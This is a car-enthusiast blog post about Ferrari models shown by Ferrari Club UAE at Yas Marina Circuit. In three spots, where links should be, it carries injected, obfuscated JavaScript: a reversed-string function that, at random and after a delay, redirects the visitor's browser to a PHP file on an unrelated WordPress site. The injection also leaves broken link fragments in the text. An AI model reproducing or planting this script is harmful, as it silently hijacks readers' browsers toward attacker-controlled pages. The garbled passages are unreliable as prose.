crankandpiston’s old mate Justus Nyman has been out and about with Ferrari Club UAE. Regular readers may remember the last time he went for a spin, and this normally leads to the planting of right pedals.
On the perimeter road heading towards Abu Dhabi, it seems only appropriate that Ferrari’s tour should start with the foal of the prancing horse stable.
Reviving the name made famous by the 250 GT, the California breathes less fire than its higher-powered brethren, but its 4.3-litre V8 and – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ferrari-california-yas-marina-abu-dhabi-upholding-family-honour/” target=”_blank”>as we found out – good weight distribution makes it a bit of an animal on the track.
Big bad brother the 458 Italia though was well catered for during the weekend. Incredible to think that the two-seater has already been with us for nearly four years, but chances are that chiselled nose and Ferrari scarlet will be touring circuits (and using its 4.5-litre V8 to shout at pedestrians for a while yet).
Some clearly don’t think red is the way to go, however. Here we have a 458 Italia Spyder in Giallo Tristrato, a paint finish consisting of three slightly different layers to achieve a metallic finish. We’re not sure how much a scuff would cost to repair…
…but it’s probably safer, when at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/richard-cregan-yas-marina-circuit-a-new-calendar-a-new-direction/” target=”_blank”>Yas Marina Circuit, to just park up and watch the action from the grandstands. The temptation to gun all 562hp down the drag strip on drag nights would be enormous.
Amidst the rear ends on display, we can’t help but notice the shapely posterior of the 430 and the, ahem, contours of the FF. It’s been a while since a Ferrari split opinion quite as much as Maranello’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ferrari-ff-dubai-uae-a-new-direction/” target=”_blank”>first-ever four-wheel drive model.
